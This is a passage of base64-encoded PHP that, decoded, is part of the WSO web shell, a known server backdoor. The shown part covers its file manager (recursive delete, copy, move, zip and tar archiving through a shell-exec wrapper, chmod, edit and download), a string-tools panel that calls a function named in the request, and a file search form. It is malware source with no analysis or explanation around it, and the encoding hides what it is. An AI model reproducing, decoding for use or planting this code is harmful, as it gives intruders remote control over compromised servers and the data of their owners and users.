MSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CgkJCQkJJGRoICA9IG9wZW5kaXIo
JHBhdGgpOwoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09
IGZhbHNlKSB7CgkJCQkJCSRpdGVtID0gJHBhdGguJGl0ZW07CgkJCQkJCWlmICgg
KGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09
ICIuIikgKQoJCQkJCQkJY29udGludWU7CgkJCQkJCSR0eXBlID0gZmlsZXR5cGUo
JGl0ZW0pOwoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpCgkJCQkJCQlkZWxldGVE
aXIoJGl0ZW0pOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCRpdGVtKTsKCQkJ
CQl9CgkJCQkJY2xvc2VkaXIoJGRoKTsKCQkJCQlAcm1kaXIoJHBhdGgpOwoJCQkJ
fQoJCQkJaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkKCQkJCQlmb3JlYWNoKCRf
UE9TVFsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRm
ID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsK
CQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOwoJCQkJCQlpZihpc19kaXIoJGYpKQoJ
CQkJCQkJZGVsZXRlRGlyKCRmKTsKCQkJCQkJZWxzZQoJCQkJCQkJQHVubGluaygk
Zik7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ3Bhc3RlJzoKCQkJCWlmKCRf
Q09PS0lFWydhY3QnXSA9PSAnY29weScpIHsKCQkJCQlmdW5jdGlvbiBjb3B5X3Bh
c3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlt
a2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsKCQkJCQkJ
CXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlp
ZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKCQkJCQkJCQkJY29weV9w
YXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCX0gZWxzZWlmKGlz
X2ZpbGUoJGMuJHMpKQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQl9
CgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQoJCQkJCQljb3B5X3Bh
c3RlKCRfQ09PS0lFWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CgkJCQl9IGVs
c2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24g
bW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlmKGlzX2RpcigkYy4kcykpewoJ
CQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7
CgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJ
CQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpCgkJCQkJCQkJ
CWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwoJCQkJCQl9IGVs
c2VpZihAaXNfZmlsZSgkYy4kcykpCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMp
OwoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpCgkJCQkJ
CUByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsK
CQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgewoJCQkJCWlm
KGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAg
ICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAg
ICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBh
cyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09
ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRp
bnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxl
KCRfQ09PS0lFWydjJ10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NP
T0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihu
ZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7CiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBh
cyAka2V5PT4kdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOwog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNb
J2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3Nl
KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAg
ICB9CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgewoJ
CQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAg
ICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAg
ICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVb
J2MnXS4kZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlw
LT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd0YXIn
KSB7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7CiAg
ICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNj
YXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgICAg
ICB3c29FeCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDIn
XSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9DT09LSUVbJ2YnXSkpOwogICAgICAg
ICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CgkJCQl9CgkJCQl1
bnNldCgkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgn
ZicsICcnLCB0aW1lKCkgLSAzNjAwKTsKCQkJCWJyZWFrOwoJCQlkZWZhdWx0Ogog
ICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQkJCQlX
U09zZXRjb29raWUoJ2FjdCcsICRfUE9TVFsncDEnXSk7CgkJCQkJV1NPc2V0Y29v
a2llKCdmJywgc2VyaWFsaXplKEAkX1BPU1RbJ2YnXSkpOwoJCQkJCVdTT3NldGNv
b2tpZSgnYycsIEAkX1BPU1RbJ2MnXSk7CgkJCQl9CgkJCQlicmVhazsKCQl9Cgl9
CiAgICB3c29IZWFkZXIoKTsKCWVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxk
aXYgY2xhc3M9Y29udGVudD48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0
Pic7CgkkZGlyQ29udGVudCA9IHdzb1NjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10p
PyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CglpZigkZGlyQ29udGVudCA9
PT0gZmFsc2UpIHsJZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzt3c29G
b290ZXIoKTsgcmV0dXJuOyB9CglnbG9iYWwgJHNvcnQ7Cgkkc29ydCA9IGFycmF5
KCduYW1lJywgMSk7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWlmKHBy
ZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAk
bWF0Y2gpKQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hb
Ml0pOwoJfQplY2hvICI8c2NyaXB0PgoJZnVuY3Rpb24gc2EoKSB7CgkJZm9yKGk9
MDtpPGQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykKCQkJaWYoZC5maWxlcy5l
bGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpCgkJCQlkLmZpbGVzLmVsZW1l
bnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7Cgl9
Cjwvc2NyaXB0Pgo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxs
c3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPgo8Zm9ybSBuYW1lPWZpbGVzIG1l
dGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNr
Ym94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9
JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNv
cnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9u
Y2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/
MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9
J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEp
LiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxh
IGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1z
XyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+
QWN0aW9uczwvdGg+PC90cj4iOwoJJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOwoJ
JG4gPSBjb3VudCgkZGlyQ29udGVudCk7Cglmb3IoJGk9MDskaTwkbjskaSsrKSB7
CgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRb
JGldKSk7CgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNv
bnRlbnRbJGldKSk7CgkJJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVu
dFskaV0sCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRl
bnRbJGldLAoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBm
aWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksCgkJ
CQkJICdwZXJtcycgPT4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAk
ZGlyQ29udGVudFskaV0pLAoJCQkJCSAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9C
QUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pLAoJCQkJCSAnb3duZXInID0+ICRv
d1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGld
KSwKCQkJCQkgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmls
ZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKCQkJCQkpOwoJCWlmKEBpc19maWxlKCRH
TE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpCgkJCSRmaWxlc1tdID0g
YXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwoJCWVs
c2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0p
KQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+
ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsKCQll
bHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0p
JiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQoJCQkkZGlyc1tdID0gYXJyYXlf
bWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7Cgl9CgkkR0xPQkFM
U1snc29ydCddID0gJHNvcnQ7CglmdW5jdGlvbiB3c29DbXAoJGEsICRiKSB7CgkJ
aWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCgkJCXJldHVybiBzdHJj
bXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93
ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsx
XT8xOi0xKTsKCQllbHNlCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6
ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7Cgl9Cgl1
c29ydCgkZmlsZXMsICJ3c29DbXAiKTsKCXVzb3J0KCRkaXJzLCAid3NvQ21wIik7
CgkkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKCSRsID0gMDsK
CWZvcmVhY2goJGZpbGVzIGFzICRmKSB7CgkJZWNobyAnPHRyJy4oJGw/JyBjbGFz
cz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIg
dmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4Pjwv
dGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUn
KT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUn
XSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSdd
KTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiICcgLiAoZW1w
dHkgKCRmWydsaW5rJ10pID8gJycgOiAidGl0bGU9J3skZlsnbGluayddfSciKSAu
ICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwv
Yj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3dzb1Zp
ZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydt
b2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10u
JzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51
bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4k
ZlsncGVybXMnXQoJCQkuJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9Imco
XCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidc
JywgXCdyZW5hbWVcJykiPlI8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdG
aWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywg
XCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGhy
ZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5j
b2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIj
IiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgk
ZlsnbmFtZSddKS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzwvdGQ+
PC90cj4nOwoJCSRsID0gJGw/MDoxOwoJfQoJZWNobyAiPHRyPjx0ZCBjb2xzcGFu
PTc+Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+
Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNp
YWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4KCTxpbnB1dCB0eXBlPWhpZGRl
biBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQn
XSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPgoJPHNlbGVjdCBuYW1lPSdwMSc+
PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9
J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0
ZTwvb3B0aW9uPiI7CiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkK
ICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd6aXAnPkNvbXByZXNzICh6aXAp
PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPlVuY29tcHJlc3MgKHppcCk8
L29wdGlvbj4iOwogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVz
cyAodGFyLmd6KTwvb3B0aW9uPiI7CiAgICBpZighZW1wdHkoJF9DT09LSUVbJ2Fj
dCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkpCiAgICAgICAgZWNobyAiPG9w
dGlvbiB2YWx1ZT0ncGFzdGUnPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOwog
ICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7IjsKICAgIGlmKCFlbXB0eSgkX0NPT0tJ
RVsnYWN0J10pICYmIEBjb3VudCgkX0NPT0tJRVsnZiddKSAmJiAoKCRfQ09PS0lF
WydhY3QnXSA9PSAnemlwJykgfHwgKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykp
KQogICAgICAgIGVjaG8gImZpbGUgbmFtZTogPGlucHV0IHR5cGU9dGV4dCBuYW1l
PXAyIHZhbHVlPSd3c29fIiAuIGRhdGUoIlltZF9IaXMiKSAuICIuIiAuICgkX0NP
T0tJRVsnYWN0J10gPT0gJ3ppcCc/J3ppcCc6J3Rhci5neicpIC4gIic+Jm5ic3A7
IjsKICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90
ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvZGl2PiI7Cgl3c29Gb290ZXIoKTsKfQoK
ZnVuY3Rpb24gYWN0aW9uU3RyaW5nVG9vbHMoKSB7CglpZighZnVuY3Rpb25fZXhp
c3RzKCdoZXgyYmluJykpIHtmdW5jdGlvbiBoZXgyYmluKCRwKSB7cmV0dXJuIGRl
Y2JpbihoZXhkZWMoJHApKTt9fQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmlu
aGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRl
YygkcCkpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdoZXgyYXNjaWknKSkge2Z1
bmN0aW9uIGhleDJhc2NpaSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RyTGVuKCRw
KTskaSs9Mil7JHIuPWNocihoZXhkZWMoJHBbJGldLiRwWyRpKzFdKSk7fXJldHVy
biAkcjt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5j
dGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7
KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3Ry
dG91cHBlcigkcik7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5j
b2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRp
PTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGld
KSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319Cgkkc3RyaW5nVG9vbHMgPSBhcnJh
eSgKCQknQmFzZTY0IGVuY29kZScgPT4gJ2Jhc2U2NF9lbmNvZGUnLAoJCSdCYXNl
NjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCgkJJ1VybCBlbmNvZGUnID0+
ICd1cmxlbmNvZGUnLAoJCSdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKCQkn
RnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCgkJJ21kNSBoYXNo
JyA9PiAnbWQ1JywKCQknc2hhMSBoYXNoJyA9PiAnc2hhMScsCgkJJ2NyeXB0JyA9
PiAnY3J5cHQnLAoJCSdDUkMzMicgPT4gJ2NyYzMyJywKCQknQVNDSUkgdG8gSEVY
JyA9PiAnYXNjaWkyaGV4JywKCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lp
JywKCQknSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCgkJJ0hFWCB0byBCSU4nID0+
ICdoZXgyYmluJywKCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCgkJJ0RFQyB0
byBCSU4nID0+ICdkZWNiaW4nLAoJCSdCSU4gdG8gSEVYJyA9PiAnYmluaGV4JywK
CQknQklOIHRvIERFQycgPT4gJ2JpbmRlYycsCgkJJ1N0cmluZyB0byBsb3dlciBj
YXNlJyA9PiAnc3RydG9sb3dlcicsCgkJJ1N0cmluZyB0byB1cHBlciBjYXNlJyA9
PiAnc3RydG91cHBlcicsCgkJJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3Bl
Y2lhbGNoYXJzJywKCQknU3RyaW5nIGxlbmd0aCcgPT4gJ3N0cmxlbicsCgkpOwoJ
aWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7CgkJV1NPc2V0Y29va2llKG1kNSgk
X1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgdHJ1ZSk7CgkJb2Jfc3RhcnQo
KTsKCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpCgkJ
CWVjaG8gJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSk7CgkJJHRlbXAgPSAiZG9j
dW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9
Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRN
TD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigp
KSwiXG5cclx0XFwnXDAiKS4iJztcbiI7CgkJZWNobyBzdHJsZW4oJHRlbXApLCAi
XG4iLCAkdGVtcDsKCQlleGl0OwoJfQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4
J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKCQlXU09zZXRjb29raWUobWQ1KCRf
U0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsKCXdzb0hlYWRlcigpOwoJ
ZWNobyAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250
ZW50Pic7CgllY2hvICI8Zm9ybSBuYW1lPSd0b29sc0Zvcm0nIG9uU3VibWl0PSdp
Zih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5zZWxlY3RUb29s
LnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMu
c2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxz
ZTsnPjxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCc+IjsKCWZvcmVhY2goJHN0cmlu
Z1Rvb2xzIGFzICRrID0+ICR2KQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRt
bHNwZWNpYWxjaGFycygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsKCQllY2hvICI8
L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz4gPGlucHV0
IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgIi4oQCRfQ09PS0lFW21k
NSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4i
PiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHls
ZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii4oZW1wdHkoJF9QT1NU
WydwMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pKS4iPC90
ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHko
JF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVw
eCcgaWQ9J3N0ck91dHB1dCc+IjsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7
CgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8g
aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7Cgl9
CgllY2hvIjwvcHJlPjwvZGl2Pjxicj48aDE+U2VhcmNoIGZpbGVzOjwvaDE+PGRp
diBjbGFzcz1jb250ZW50PgoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMu
Y3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFs
dWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNlbGxz
cGFjaW5nPScwJyB3aWR0aD0nNTAlJz4KCQkJPHRyPjx0ZCB3aWR0aD0nMSUnPlRl
eHQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxl
PSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+UGF0aDo8L3RkPjx0
ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNw
